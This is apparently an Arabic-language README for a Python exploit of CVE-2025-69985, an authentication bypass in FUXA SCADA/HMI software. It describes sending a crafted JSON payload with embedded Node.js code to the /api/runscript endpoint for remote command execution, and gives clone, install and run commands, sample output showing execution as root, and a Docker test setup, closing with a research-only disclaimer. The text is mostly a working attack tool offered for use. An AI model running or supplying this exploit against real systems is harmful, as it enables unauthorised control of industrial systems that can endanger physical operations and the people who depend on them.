joshuavanderpoll/cve-2025-69985استغلال بلغة Python لـ CVE-2025-69985 يستهدف برنامج FUXA SCADA. يرسل حمولة JSON مصممة إلى نقطة نهاية /api/runscript لتجاوز المصادقة وتحقيق تنفيذ التعليمات البرمجية عن بُعد.
يستهدف هذا الاستغلال بلغة بايثون CVE-2025-69985، وهي ثغرة حرجة في تجاوز المصادقة في FUXA (برنامج SCADA/HMI قائم على الويب) الإصدارات ≤ 1.2.8. من خلال إرسال حمولة JSON مخصصة تحتوي على كود Node.js مضمن إلى نقطة النهاية غير المحمية /api/runscript، فإنه يحقق تنفيذ الأوامر عن بُعد كعملية FUXA — مع التقاط كامل stdout/stderr بشكل متزامن في الاستجابة.
[!NOTE] لضمان بيئة نظيفة ومعزولة لتبعيات المشروع، يُوصى باستخدام وحدة
venvفي بايثون.
git clone https://github.com/joshuavanderpoll/CVE-2025-69985.git
cd CVE-2025-69985
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2025-69985.git
cd CVE-2025-69985
python -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 CVE-2025-69985.py -u http://localhost:1881/ -c whoami
Target : http://localhost:1881
Command: whoami
[*] Preparing payload → executing: whoami
[*] Sending exploit request to /api/runscript ...
[*] Response status: 200
[+] Command executed successfully (CVE-2025-69985 bypass)!
=== COMMAND OUTPUT ===
"root\n"
======================
======================================================================
Exploit completed!.
======================================================================
cd docker/
docker compose down
docker compose up -d
# You can test at --url http://127.0.0.1:1881/
هذه الأداة مقدمة لأغراض تعليمية وبحثية فقط. لا يتحمل المنشئ أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن الأداة.